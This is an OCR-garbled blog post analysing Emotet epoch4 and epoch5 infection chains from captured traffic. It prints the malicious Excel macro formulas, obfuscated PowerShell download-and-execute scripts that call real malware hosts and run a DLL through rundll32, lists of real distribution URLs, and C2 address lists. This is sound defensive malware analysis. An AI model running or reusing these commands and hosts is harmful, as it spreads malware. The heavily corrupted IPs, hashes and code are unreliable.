[QuickNote] Emotet epoch4 & epochb tactics
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January 23, 2022

EMOTET

This article is based on samples collected by Mr. Brad Duncan through his excellent lab:
2022-01-20 (THURSDAY) - EMOTET EPOCH 4 AND EPOCH 5 INFECTIONS

Emotet epoch4:

The time of the initial infection in the pcap file ( 2022-01-20-Emotet-epoch4-infection-
with-spambot-activity.pcap )is around 2022-01-20 19:37 UTC , when the victim
clicks on the link in the spam mail, they will access the address
mangaloresoundandlights[.]com :

2022-01-20 19:37:43 10.1,20.162 49681 52.153.155.231 443 T
2022-61-20 19:37:43 10.1.20.1 53 10.1.20.162 55627 NS
2022-61-20 19:37:43 10.1.20.162 49682 104.21.41.29 80 TP

49681 - 443 [SYN] Seq-8 Win=64240 Len-0 MSS-1460 WS-256 SACK PERM-1
Standard query response ox6dd2 A mangaloresoundandlights.com A 164.21.41.29 A 172.67.159.58
49682 > B0 [SYN] Seq-0 Win-64240 Len-0 MSS-1450 WS-256 SACK PERM-1

2022-01-20 19:37:43 10.1.20.102 49680 13.107.42.16 243 TLsvi.2 config. edge.skype. com Client Hello
2622-61-20 19:37:43 10.1.20.102 49681 52.153.155.231 443 TiSv1.2 pi.edgeoffer.microsoft.com Client Hello
022-01-20 10:37:43 10.1.26.162 49682 T64.21.41.25 50 RTTP GET /stage-lighting frontend/qmD]VcDpzeROZ/ HTTP/1.1
o1~ (L 120, A ERM-1
2022-61-20 19:37:43 10.1.20.102 104.21.41.29 mangaloresoundandlights . com Client Hello

If the access is successful, the victim will be asked to download an Excel file similar to the
image below (this file will have a random name after each access. As in Mr. Brad Duncan’s
summary, the file he downloaded has file name: 12772684608453.x1s ):
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Wireshark - Lo

GET /stage-lighting-frontend/qmDjYcDpzeR@Z/ HTTP/1.1
Host: mangaloresoundandlights.com

“Connection: keep-alilve

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.@ (Windows NT 1@8.8; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.8.4692.71 Safari/537.36 Edg/97.0.1072.62
Accept: text/html,application/xhtml+xml,application/xml;q=8.9,image/webp,image/apng,*/*;q=8.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate

Accept-Language: en

HTTP/1.1 381 Moved Permanently

Date: Thu, 2@ Jan 2822 19:37:43 GMT

Transfer-Enceding: chunked

Connection: keep-alive

Cache-Control: max-age=360@

Expires: Thu, 2@ Jan 2022 28:37:43 GMT

Location: https://mangaloresoundandlights.com/stage-lighting-frontend/qmDjYcDpzeRez/
Report-To: {"endpoints™:[{"url”:"https:\/\/a.nel.cloudflare.com\/reporty/v3?
s=lefXFvbberrRCjXFngP jWOuDPITQIdUCQ8jdDL1nCsSMINLbgCvel]17ghX4IqRH18a%2B61 fRikcp8wTAssmR1uKhgBbuwpxOnOUgekNAu3zLITAFshageotvkK1IbFnIuAWEER2BNATTY jvFmwallEX3D"}], "group™: "cf-
nel”,"max_age":604500}

MEL: {"success_fraction™:@,"report_to":"cf-nel”, "max_age":684360}

Vary: Accept-Encoding

Server: cloudflare

CF-RAY: BdBac25@fsecsdfd-MIA

alt-sve: h3=":443"; ma=864080, h3-29=":443"; ma=86400

© & https://mangaloresoundandlights.com/stage-lighting-frontend/qmDjYcDpzeR0OZ/
p g 9 ge-lic _ ] F

Opening 4420619926 xs x

You have chosen to open: X

' 4420619926.xls

which is: Microsoft Excel (71.0 KB)
from: https://mangaloresoundandlights.com

What should Firefox do with this file? Flle PreVIeW Complalnt Report In XLS
Openwith | Browse.. is ready for open

OsaveFile

Didn't work? Try open again.
Do this automatically for files like this from now on.

Preview XLS
Cancel oK

Analyzing the downloaded xIs file , this file uses XLM macro, when the victim opens and
allows macro for executing, it will call mshta.exe toloadthe fe2.html file at the address
hxxp://0xb907d607 :

442061992

4420619926

omj

: Co 0s: W
an 20 19:00:43

07:37 2022

: xXx, Name of Creating Application: Microsoft Excel, Create Time/Date: T

20

FullEvaluation . SET.NAME(1ll,emd /c m*sh"t”a h"tt*p~:/~/0xb907d607/fer/fez.html)

PartialEvaluation .= (emd fc m*sh*t*a h*tt*p*:/*/0xb907d607/fer/fe2.html)
End , HALT()

The host contains a hexadecimal representation of the IP address. Using CyberChef, | can
converted the hexadecimal numbers to retrieve the real IP address: 185[.]7[.]214[.]7

Recipe oe B Input
2xb207d607|
Change IP format
Input format Output farmat
Hex Dotted Decimal

The pcap file has result similar to the following:

2032-61-20 10:38:52 10.1.20.162 49692 185.7.214.7 %0 e ; 49652 > 80 [SVIN] Seq=0 Win-65535 Len=8 MSS-1468 1S=256 SACK PERM-L
2022-01-26 19:38:53 10.1.20.102 49692 185.7.214.7 80 HTTP 185.7.214.7 GET /fer/fer.html HTTP/1.1

The above html file contains javascript, so mshta.exe will execute this script:
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remnux@remnux fe2.html | script |

<
htmi>chead><meta http-equiv='x-
;var fof76c=true; ll1=document.l indow. si ri f &ILI&EITL) ) oca serAgent. er )i function UI1(11I){return 111.index0f(11I)>07true: false};1T]

T=111('kht')|lI1('per');fof76¢c|= ation.protocol+'el 142hUT2E rCkB=new Array();1D3 s ew Array();103 s %34XUBp%4 ;T142hUI2ErckB[@]="<!DOCTYPE html PUBLIC "-//W3C~DTD XHTML
1.0 Transitional~EN"~~\ntp:~w~B.w3. R/X~\N~"L1/~D~N-PL1-t ~1~3~51. dtd"><~W X~"L~/="~=~7~A~C~E~G~I/19~y~V~

1~f~head~gscript>ev~6 (une}ape (\'%76\\141}2%20qy%37}\ 'D}"})2})3Bq}1}\ '8} #S}4}}169ng}"E}6r6FHH}+a

[ohore |
Javascript when executed will spawn Powershell process to download the fe2.png file at

the same address. Based on the powershell command, it can be seen that the png file will
also be a powershell script.

FROCESS: powershell [660]

FILE: C:\Windows\SvysWOWed4'\ WindowsPowerShellhvl.O\powershell.exe

CMDLINE: "C:\Windows\3vstem32\WindowsPowerShell'vl.0\powershell.exe™ -noexit scl='{{G0OGLE}
{GOOGLE } Ne [ GOOGLE } { GOOGLE } w{ GO0OGLE } -0bj [ G00GLE } ec{GOOGLE]} {GOOGLE} t N{GOOGLE} {GO0GLE } et {GOOGLE] . W
{GOOGLE]) {GOOGLE} e . replace (" [GOOELEL Y, "'):; S5cd="bC{&EIOGLE}1]i[GO0GLE] {GOOGLE ) en{G00GLE} [GOOGLE]
t) .D{GOOGLE} { G00GLE} ow{GOOGLE } { G00OGLE }nl [GOOGLE} {G00GLE} {G00GLE} o' .replace (" {GOOGLE}", "'):

sr3="ad I GO0OGLE L [GOOGLF 1S I GOOGIFLrin GCCGLE}{GCCGLE}g{GCCGLE}{' "ht {G00GLE ] tp

rE-gEGLE} ://185.7.214.7/fer/fe2.png" ' |' . replace (' {GOOGLE}", '');$JI=($cl,scd,$c3 -Join ') T E %]
SII|IE™X

Looking at the pcap file:

2022-91-20 19:38:57 10.1.20.102 49693 185.7.214.7 80 P 49603 > 88 [SYN] Seq=8 Win-64240 Len=8 MSS=1458 WS=256 SACK PERM=1
2022-01-26 19:38:57 10.1.20.162 49693 185.7.214.7 £ HTTP GET /fer/fer.png HTTP/1.1

Compare the content between the file prowded by Mr. Brad Duncan and the file |
downloaded:

Emotet-epochd-ferpg it

$path \Users\Public\Documents\ssd.dl

$urll = 'http://peterpolz.to-create.eu/cgi-bin/toROSWVEIQuE/" ;

$url2 http://r7.anbo5288.cc/-/QTqLFrKiSlabny@snc/" ;

$url3 = 'https://schloss.stainz.at.to-create.eu/cgi-bin/az2rEM5i8hacCilt/ " ;
$urly http://realinvestdeal.com/nonetdh/jENwrgafB7p8Nwz/ " ;

$url5 = 'https://mall.payarena.com/wp-content/2JioZBV/";

$urlé https://wordpress@3.aftershipdemo. com/hqzd/VZLDBVSKSGQSBde/
$url7 https://pmfotografie.com/oiuxjdn/3C3da27vIBmcvajeD/ " ;

$urls https://lalibertad.apiperu.net.pe/assets/UF/";

$urlo http://s-lifes.com/2vz3x6/UlsF/";

fe2.pngaxt

[path Users\Public\Documents\ssd.dll";

$urll ttp://hindimedia. in/wp-content /uploads/iXntuGFqLE31oHsTk/" ;
$url2 ttps://child.dental/assets/fJU9vdmsLUoBd/ " ;

$url3 ttps://notesculture. com/wp-includes/aEoliH/

$urly ttp://cambridge-business.com/cambridge-business.com/Qm/";
$urls ttp://myleadz.co/elementor—pro/aldQmuCBoiikC/" ;

$urle ttp://bahareh. shop/wp-admin/ZénkfoYjv/";

$url7 ttp://demo.avionxpress.com/rbud/0arPTbpul/ " ;

$url8 = 'http://avionxpress.com/lp/HyMifM/

$url9 = 'http://api.task-lite.com/—/T3owojW5FwBduO6K/ " ;

woNonEwN R T

e
(==

$web = New-Object net.webclient; $web = New-Object net.webclient;
$urls = "$urll, $url2, $url3, $urlt, $urls, $url6, $url?, $urls, $urlo”.split(","); $urls = "$urll,$url2, $url3, $urld, $urls, $url6, $url7, $url8, $urlo” . split(”,
foreach ($url in $urls) { foreach ($url in $urls) {
try { try {
$neb.DownloadFile($url, $path); 6 $web . DownloadFile($url, $path);
if ((Get-Item $path).Length -ge 3e000) { if ((Get-Item $path).Length —ge 30000) {
[Diagnostics.Process]; [Diagnostics.Process];
break; break;

y ! S
catch{} 2 cateh{}
}

Sleep -s #;cmd /c C:\Windows\SysWowd\rundll32.exe Sleep -s #;cmd /c C:\Windows\SysWow64\rundl132.exe
'C:\Users\Public\Documents\ssd.dl1* , AnyString; *C:\Users\Public\Documents\ssd.dl1', AnyString;

Based on the content of the png file, it can be seen that this powershell script will iterate all

the list of urls and try download payload and save it under the name
"C:\Users\Public\Documents\ssd.d11l" . If the download is successful, it will call
rundl132.exe to execute ssd.dll

| tried downloading the DIl from one of the urls in the fe2.png file:

remnux@remnux -U “Mozilla/4.6 (compatible; MSIE 6.0; Windows NT 5.1; SV1)* -0 ssd.dll http://hindimedia.in/wp-content/uploads/iXntuGFqLE31oHsTk/
http://hindimedia.in/wp-content/uplo XNtuGFqLE310HsTk/
Resolving hindimedia.in (hindimedia.in)... 104.21. 172.67.153.105, 2606:4700:3034::ac43:9969, ..
Connecting to hlndlmtdla in (hindimedia.in)|104.21.82.47|:80... connected
200 0K
download]

100% =>] 612.00K 1.41MB/s in 0.4s

d.dll’ saved [62

188
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
remnu.
1e67d7ccd6a6t5169 ssd.dll

remnux@remnux

In the pcap file, the result is similar to the following:
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2022-01-20 19:38:57 10.1.20.102 49693 185.7.214.7 8 HTTP 185.7.214.7 GET /fer/fer.png HTTP/1.1

2022-01-20 19:38:58 10.1.20.162 61780 10.1.20.1 53 DNS Ipeterpolz.to-create.eu Standard query 8x9114 A peterpolz.to-create.eu

2022-61-20 19:38:58 10.1.20.1 53 10.1.20.162 61780 NS “peterpolz.to-create.cu Standard query response @x9114 A peterpolz.to-create.cu A 185.46.123.38
2022-01-20 19:38:58 16.1.20.102 49694 185.46.123.38 0 TP 49694 + B0 [SYN] Seq-0 Win=54248 Len-B MSS=1460 WS=255 SACK_PERH-1
2022-01-20 19:38:58 16.1.20.102 49694 185.46.123.38 0 HTTP peterpolz.to-create.eu GET /cgi-bin/toR0SW/BIQUS/ HTTP/1.1

2022-01-20 19:38:50 10.1.20.102 57511 10.1.20.1 53 ons £r7.anbo5288. cc Standard query 0xaldc A fr7.anbo5288.cc

2022-01-20 19:38:50 10.1.20.1 53 10.1.20.102 57511 ons £r7.anbo5288. cc Standard query response @xal9c A fr7.anboS288.cc A 128.199.157.63
2022-01-20 19:38:50 10.1.20.102 49695 128.199.157.63 0 TP 49595 + 80 [SYN] Seq-0 Win=54248 Len-p MSS=1460 WS=256 SACK_PERH-1
2022-01-20 19:38:50 10.1.20.102 49695 125.199.157.63 0 HTTP fr7.anbos288. ce GET /-/Q7qLFrKISlabny@snc/ HTTP/1.1

2022-61-26 19:39:22 10.1.20.162 49695 131.160.24.231 30 Tcp 49696 > 80 [SYN] S
== 3

2022-61-20 19:39:26 10.1.20.162 49697 131.100.24.231 88 TCP 49697 ~ 50 [SYN] S

49698 » 443 [SYN] Seq=0 Win=65535 Len=6 MSS=1460 WS=256 SACK_PERM=1

2022-61-20 19:39:28 10.1.20.102 49698 144.217.88.125 aa3 e
Filename. MD5 SHAL CRC32 SHA-256 |
$12022-01-20-Emotet-epochd-DLLbin _ 321380dc0185164ff7c7771253 cdce 88264 b3f1625CC0169667 223 ¢B8024753acaf330 _5c2a0407 2200463 (1d38d533b530736631

From the DIl file provided by Mr. Brad Duncan as well as the DIl file that | downloaded, it is
easy to unpack the emotet core DII:

File Edit View Options Help
506 N |

| Filename MD5 SHAL CRC32 SHA-256
&5 2022-01-20-emotet-epochd-core_dllbin T7c73d26ba33afdad29ab21ff35ceB27 1b00f3b2b0c1 da31581a316ff22bf01bcfeaff8)  dedd03c 931 cf2ec23e034d3677¢
& s5d_00380000_dumped_core_dll.bin T7c13d26ba33afdad29ab21 ff35ceB27 1b00f3b2b0c1da31581a316ff22bf01bcbeaféB0  dedd03c 931cf2ec23e034dB3677¢

[ I
With Emotet’s core DIl unpacked, | can find and extract C2 configuration information as well

as the keys used to encrypt traffic and verify data:

= (2 List=
131.100.24.231:80
209.59.138.75:7080
103.8.26.103:8080
51.38.71.0:4u3
212.237.17.99:88868
79.172.212.216:868808
2087.38.84.195:8080
104.168.155.129: 8080
178.79.147.66:5080
46.55.222.11:443
1683.8.26.1082:86080
192.254.71.210:443
45.176.232.124:443
2083.114.189.124: 443
51.68.175.8:8080
58.227.42.236:80
45.142.114.231:8080
217.182.143.287:4u3
178.63.25.185:443
45.118.115.99:8888
183.75.201.2:443
104.251.214.46:8080
158.69.222.101:443
81.0.236.90:443
u45.118.135.2063:76888
176.104.106.96:8880
212.237.56.116:7888
216.158.226.206: 443
173.212.193.249: 8080
50.116.54.215:443
138.185.72.26:8080
u1.76.168.46:86080
212.237.5.2089:443
187.182.225.142: 8688
195.154.133.20:443
162.214.50.39:7080

0001E2BS 1001EEBS: sub_l001EEBS (Synchronized with Hex View-1) & ‘110'232'117'186:8089 —

mc |

The results obtained are similar to the analysis at https://tria.ge/220121-wxpSxaafb2. As
described by Mr. Brad Duncan, 33 minutes after the initial infection, the victim was turned
into a spam-bot after being infected by the malware.

1801EEB9

1801EEB9 ; JEROUTINE
1661EEB9

1001EEB9

1001EEB9 ; 1 __usercall sub_1801EEB9@<e
1001EEB9 39 pr r

1861EEB9

1801EEB9

1801EEB9

1661EEB9

1001EEB9

1601EEB9

1601EEB9

1861EEB9 d ptr

1801EEB9 = d d ptr

1001EEB9

1001EEB9

1001EEBC

1001EEBD

1001EEDE

« m, B

Time Source Source Port  Destination Destination Port _ Protocol Host Server Name Da
2022-01-20 26:10:44 10.1.20.162 49869 143.96.14.135 587 ke Smith - Hangout” <fevs-tec@hkg.odn.ne.jp>, subject: RE: RE: Yamaha V-Star Classic, (t..
2022-61-20 26:12:60 10.1.20.162 49989 208.55.245.53 25 . Azizul Hakim" <pagos@inarygo.com.ar>, subject: Re: Requesting to consume the 89 models B..
2022-61-20 26:21:11 10.1.20.162 51121 45.77.72.79 25 hoo - Assistant General Manager” <johnadamsmith1368@vultr.com>, subject: Sukamto Kamto, ..
2022-61-20 26:21:12 10.1.20.162 51121 45.77.72.79 25 ail - Assistant General Manager” <johnadamsmith1368@vultr.com>, subject: , (text/html)
2022-01-20 26:22:65 10.1.20.102 51214 45.77.62.157 587 SMTP/TMF : "Mary Ellen Handley” <pargofizona-andina.net>, subject: Re: Res This weekend's campout, (tex.

Emotet epoch5:

The time of the initial infection in the pcap file ( 2022-01-20-Emotet-epoch5-infection-
with-spambot-activity.pcap )is around 2022-01-20 17:46 UTC , when the victim
clicks on the link in the spam mail, they will access the address mt.yoshimax[ . ]net :
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2022-01-20 17:46:29 10.1.20.101 49679 13.167.42.16 a3 TLSv1.2 config.edge. skype. com Client Hello

2022-01-20 17:46:20 10.1.26.101 52700 16.1.20.1 s3 oS mt. yoshimax. net Standard query OxcS1S A mt.yoshimax.net
2022-01-20 17:46:29 10.1.20.101 57027 16.1.20.1 s3 oHS api.edgeoffer.microso Ft.com 2 query 8x8b26 A api.edgeoffer.microso Ft.com

2022-01-20 17:46:29 10.1.20.1 s3 16.1.20.101 57027 DNS api. edgeoffer microsoft. com Standard query response @xob26 A api.edgectfer.microsoft.com CHANE bingadsedgeextension-prod.traff..
2022-01-20 17:46:20 10.1.20.101 49630 52.153.155.231 43 1 49680 » 443 [SYN] Seq-8 Win-64240 Len-@ MSS-1460 WS-256 SACK PERM-1

2022-01-20 17:45:29 10.1.20.1 = 10.1.20.101 s2700 Standard query response GxcS15 A mt.yoshimax.net A 219.94.162.178

2022-01-20 17:46:29 10.1.20.101 49651 219.94.162.178 20 e 49681 » 80 [SYN] Seq=8 Uin-64240 Len=@ NS5=1460 WiS=256 SACK_PER'=1

022-01-20 17:45:29 18.1.08.101 __a9ssn. 153155 2791 s Isa ni.edgeoffer miccasft.con Client Hell

2022-61-20 17:46:29 10.1.20.101 49651 219.94.162.178 50 HTTP mt.yoshimax. net GET /air/667533-670625) 2name=Eddick26money HTTP/1.1 |

20201 20 17:46:30 10.1.20.101 57025 T6.1.20.1 S oS T - googTe  com Standard query OXZ35F A ww. goOE1E . com

2022-01-20 17:46:30 19.1.20.1 53 10.1.20.101 57029 oNS . goog 1. com Standard query response @x236f A war.google. con A 142.250.138.105 A 142.250.135.103 A 142.250.136..

At the time of blogging, this address is no longer accessible. Therefore, | will use the files
that Mr. Brad Duncan provided for further analysis:

& c @ © & mtyoshimax.net/air/667533-670628/

Forbidden

You don't have permission to access this resource.Server unable to read htaccess file, denying access to be safe

r ) —  — s
! Wireshark - Export - HTTP ctﬁct list -
Pa{ket Hostname Content Type Size Filenarme
511 mt.yoshimax.net text/html 12 kB fname=Eddie?20Money
17 mt.yoshimax.net application/vnd.cpenxmliformats-officedocument.... 50 kB fi=1

942 185.7.214.7 text/html 11 kB fel.html
952 185.7.214.7 image/png 1094 bytes fel.png
1594  kastamonulezzetrehbericom  application/x-msdownload 573 kB EXn0O)J
1691 1460 bytes

Analyze excel file: 2022-01-20-Emotet-epoch5-Excel-file.bin . Similar to the above
epoch4, its macro code is as follows:

M MACRO FORMUL, _ B _
FuHE cﬂuat'mn , SET. I‘~..~\I1E(1H ,cmd mAshA / / g fer/fel.html)

PartialEvaluation , = /c mhsh SN 0x / /Tel. html)
HALT(__'

2022-01-20 17:47:42 10.1.20.161 49689 185.7.214.7 ) Tcp 49889 » 80 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=256 SACK PERM=1
2022-01-20 17:47:42 16.1.26.181 49683 185.7.214.7 80 HTTP i185.7.214.7 GET ffer/fel Html HTTP/1.1

The javascript in the file 2022-01-260-Emotet- epoch5 fel.html.txt when executed will
spawn powershell process to download the png file (also a powershell script):

FROCESS: powershell [3624]

FILE: C:\Windows‘\SysWOWed\WindowsPowerShell\vl.0\powershell.exe

CMDLINE: "C:\Windows\System32\WindowsPowerShell'\wvl.0\powershell.exe™ -noexit scl="({{G00GLE}
{GECGLE}NE{GCCELE}{GECGLE}N{GCCGLE}—Dbj{FCCELE}EG{GECGLE}{GCCELE}t H{GOOGLE} [GOOGLE} et [GOOGLE] . W
{G00GLE} [GOOGLE}e' .replace (" {GOOGLE} ", ""); 5cd="bC{GOOGLE}1li{GFO0GLE} |GOOGLE jen{G00OGLE] { GOOGLE }
t) .D{GOOGLE ]} {GOOGLE } ow [ GOOGLE] { GOOGLE 1 nl [GOOGLE]} {GOOGLE} [GOOGIE )} o' . replace (" [GOOGLE} ", ""):
sc3="ad{G00GLE] {GOOGLE] St {GOOGLEl rin [GOOGLE} | GOOGLE }g{GOOGLE] (" "ht { GOOGLE} tp

GOOGLE] ://185.7.214. 7 /fer/fel.png" "] . replace {" {GOOGLE] ", "'"):;$JI=(%cl,tcd,$c3 —-Join "");I'E X
SJI[ITE"X

2022-01-20 17:47:45 10.1.20.101 49690 185.7.214.7 80 Tcp 49699 > 88 [SYN] Seq-0 Win-6424@ Len-8 MSS-1460 WS=256 SACK PERM-1
20822-01-2@ 17:47:45 16.1.20.181 49690 185.7.214.7 38 HTTP 185.7.214.7 GET /fer/fel.png HTTP/1.1

The content of the file fel.png is as follows:
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2022-01-20-Emotet-epochs-fel.png.txt

$path "C:\Users\Public\Documents\ssd.dll";

$urll = 'http://kastamonulezzetrehberi.com/cszc/EXn0J/';

$url2 = 'http://papercrownillustrations.com/bvp9yk/iTD5WQoYxczIkJz/";
$url3 = 'http://rankwpfront.onrender.com/c6owfl/giybddDUSrk8vC/";
$urld = 'http://phumyhungcorp.com/wp-content/jQubwvvu7BhEEctJJ/";
$url5 = 'https://primeanyalytics.com/Fox-SS/CICLU/";

$urlé = 'http://myshoppee.com/Fox-CUoL/UnICTWaTMEDCL/ " ;

$url7 = 'http://23.254.231.129/urmedslme. com/qb725b0/ " ;

$url8 = 'http://geetanjaliconstructions.com/gallery_js/j@au/';
$url9 = 'http://markat.thinkgeniux.live/@hbg/fuSHRP&Gw/" ;

$urlle = 'https://matrockdrill.com/__MACOSX/TKKBmTWKEXk/";

so-JounmEwnEe Y

$web = New-Object net.webclient;

$urls =

"$urll, $url2, $url3, $urld, $urls, $urlé, $url?7, $urls, $url9, $urlie".split(",");
foreach ($url in $urls) {

- try {
:© $web.DownloadFile($url, $path);

if ((Get-Item $path).Length -ge 30000) {
. [Diagnostics.Process];

break;

Y
}

. catch{}
}
Sleep -s U;cmd /c C:\Windows\SysWow6U\rundl132.exe
'C:\Users\Public\Documents\ssd.dll',6 AnyString;

Like above, this script also browses the urls to download the dll file and saves it as
sdc.dll . Then, call rundl1132.exe toexecute the sdc.dll file saved at the path
"C:\Users\Public\Documents\ssd.dll" .

2022-01-20 17:47:45 10.1.26.101 60689 10.1.20.1 53 DHS
2022-81-20 17:47:45 10.1.28.1 53 10.1.20.101 50689 DHS
2022-81-20 17:47:45 10.1.20.101 49601 185.98.60.242 ES Tcp

om A 185.98.60.242
K_PERN=L
[522-01-20 17:47:46 16.1.26.161 45651 185.08.60.242 3 TP

2622-01-26 17:47:47 16.1.28.1 53 16.1.20.161 51661 ons Standard query response Bx1d27 A www. bing.com CNAME 2-8081.a-afdentry. net. trafficmanager.net CHAME..
2022-01-20 17:47:47 10.1.20.101 49692 204.79.197.200 a3 e 49692 5 443 [SYN] Seq=0 Win-65535 Len-B MSS=1460 WS=256 SACK_PERM-1
2022-01-20 17:47:47 10.1.20.101 49692 204.79.197.200 213 TLSvL.2 e bing..com Client Hells

] HashMyFiles = = &’

File Edit View Options Help
Z0@Q EHEEBE YA
Filename MD5 SHAL CRC32 SHA-256
£ 2022-01-20-Emotet-epoch5-DLLbin 6d570344123d0c#al51 c51b756a89d22 23547a5dfed019a99a2631 baf6b2d714144682...  440286ef 64eb1279ce29fa775487
m Exeinfo PE - ver.0.0.6.6 by ASL- 1096+107 sign 2021.05.16 | = ) |
| Fie : | 2022-01-20-Emotet-epoch5-DLL.bin | FH | | = |
Entry Point : 0002C654 oo | < | EPSection: text | B | | " |
File Offset : 0002C654 First Bytes :  83,7C,24,08,01 | ) | | Plug |
Linker Info : 8.00 SubSystem : WidowsGUI | pE | [ @ |
Fle Sze:  0008c000h  |<|[weT| Overay:  NO 00000000 . [ @ |
s
DLL 32 bit- Library image RES/OVL:5 [ 0 % 2022 | = |
Microsoft Visual C++ ver. 8.0 DLL - cmp [esp][8],1 | Scan / t | | Rip |
Lamer Info - Help Hint - Unpack info —
} Not packed , try www.ollydbg.de or x64 debug www.x64dbg.com | 3 | | 2 | | 2> |
- W 3

E_Lasily unpack to get Emotet core DlI:
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Filename MD5 SHAL CRC32 SHA-256
,;9 2022-01-20-emotet-epoch5-core_dllbin 389a252d65498fced38738a5f9b5000e 871a3bel 9ees7cl05e5caasfl cBET da%aar9... edJaelid 03d%ed197cbb92

{@ PE-bear v0.5.5 [C:A\Users\REM\Desktop\Ematetiepoch5\2022-01-20-emotet-epochS-core_dILbin] [E=REE

File Settings View mpare |

2022-01-20-emotet-epoch5-co...
P DOS Header

*  DOSstub 95 &R EC B3
' MNT Headers 157A5 45 DC C5
P signature 157B5 6R &4 539
P File Header 157CS 45 EC 42 A5
P optional Header ESTEl LT Y B
P Section Headers ESIES S 5 R ol
i 1ETITR . .
Sections
bt Disasi <t | General | DOS Hdr | Rich Hdr | File Hdr | Optional Hdr | Section Hdrs o
o rdata
2 .data

Name Value Meaning

Characteristics

TimeDateStamp Tuesday, 11.01.2022 0
rVersion

¢ported Functions [1 entry |
Ordinal Function RVA MName RVA MName Forwarder

: 1 DlIRegisterServer

o

With Emotet’s core DIl unpcked, | can extract C2 configuration information as well as the
keys used to encrypt traffic and verify data:

= (2 List=
45.138.98.34:80
69.16.218.101:8080
51.216.242.234:80868
185.148.168.220:8080
142.4.219.173:8686
54.38.2042.185:443
191.252.103.16:80
164.131.62.48:8080
62.171.178.1u7:8086
217.182.143.207:443
168.197.250.14:860
37.44.244.177:8080
66.42.57.149:443
216.57.209.1u2:8086
159.69.237.188:443
116.124.128.266:8680
128.199.192.135:8080
195.154.146.35:443
185.148.168.15:80860
195.77.239.39:8686
207.148.81.119:8080
85.214.67.203:8686
196.90.233.66:443
78.46.73.125:4u3
78.47.204.86:443
37.59.269.141:8686
54.37.228.122:443

RER D SRR LT (e e e el =

64GB

The results obtained are similar to the analysis at https://tria.ge/220123-j3vw5afeel. As
described by Mr. Brad Duncan, 26 minutes after the initial infection, the victim was turned
into a spam-bot after being infected by the malware.

Tine: Source Source Port  Destination Destnation Port_ Protocol Host Server Name Tnfo Datattex  Data
2622-01-20 15:16:46 10.1.20.101 50477 200.57.145.142 587 SHTR/ THF from: "Claudio Andres Adonis Gomez” <seminuevos@jilotepecgm.com.mo, subject: F: SE SUSPENDE ACTO..
2022-01-20 18:26:43 10.1.20.101 53065 209.71.208.9 2 SHTP/THF : "cterukazu hirayama> t-| japan.co. jp" , subject: Fu: gar..
2022-01-20 18:26:43 10.1.20.101 53065 209.71.208.9 25 SR/ THE 5 £T3InYiiSpemF 5 5 Ipb
2022-01-20 18:26:44 10.1.20.101 53065 209.71.208.9 25 iR/ THE 5 57330 YiSpemF 5 Ipb
2022-01-20 18:26:44 10.1.20.101 53065 209.71.208.9 25 iR/ THE 5 gT33nYiiSpenF § j pb
2022-01-20 18:26:45 10.1.20.101 53065 209.71.208.9 25 SMTP/THF 5 gT3anYhSpenr j pb
2622-01-20 15:26:45 10.1.20.101 53065 209.71.208.9 25 SHTR/ THF -8262PENCGF T3 InYWSpemF 6Fj Ipb
2022-01-20 18:26:46 10.1.20.101 53065 209.71.208.9 2 SHTP/ THE 5 273 InViSpemF 5 Ipb
2622-01-20 18:26:46 10.1.26.101 53065 209.71.208.9 25 SHTP/THE 5 5T3InVMSpenF 5 5 Ipb
2022-01-20 18:26:47 10.1.20.101 53065 209.71.208.9 25 iR/ THE 5 57330 YiSpemF 5 Ipb
2022-01-20 18:26:47 10.1.20.101 53065 209.71.208.9 25 iR/ THE 5 3InYuSpemF j pb
2022-01-20 18:26:49 10.1.20.101 53065 209.71.208.9 25 SMTP/THF renda Yanin Flores Martinez> brenda.flores@p: - com.mx” , subje
2622-01-20 15:26:49 10.1.20.101 53065 209.71.208.9 25 SHTP/ THF -8262PENCGF) £T3InYiSpenr ) 6Fj Ipb
2622-01-20 18:26:56 10.1.20.101 53065 209.71.208.9 25 SHTP/ THF -82B2PENCGF] T3 InYispemF 6Fj Jpb
:5010.1.26.161 53065 209.71.208.9 25 SHTP/THE 5 5T3InVMSpenF 5 5 Ipb
-2 :5110.1.20.101 53065 209.71.208.9 25 iR/ THE 5 57330 YWSpemF 5 Ipb
2022-01-20 18:26:52 10.1.20.101 53065 209.71.208.9 25 iR/ THE "<Humberto Grasso> hggorig: t = ca>, subject: Fw: mp@origina..

Other notes:


https://kienmanowar.files.wordpress.com/2022/01/image-24.png
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| also observed another Emotet spam campaigns using octal representations of IP
addresses, the malicious Excel file also uses XML macro to run the malware once the

document is opened and enabled by victim.

)JBFUSCATED EXCEL4/XLM MACRO FORMULAS:
, Fullevaluation , SET.NAME (111 Jcmd / 0056.0151.0121.0114/c.html1)

LAl . Ullq/c.ntml)

, PartialEvaluation , = (cmd /c MASHAAT
, End , HALT(Q)

With the help of CyberChef we can decode this IP address:

. = length: 19
Recipe om 3 Input s o
| 0056.0151.0121.0114 |

Fork

Split delimiter Merge delimiter

D Ignore errors
. x start: 12 time: 21

Change IP format Out| &~ lengzﬁi lé 1$?%::5

Input format Output format 46.105.81.76

Octal Dotted Decimal

Find / Replace

‘Fé)m.d@,@, SIMPLE STRING =
Replace
Global match Case insensitive Multiline matching

|:| Dot matches al

Refs:

Regards,
m4n0w4r

View at Medium.com
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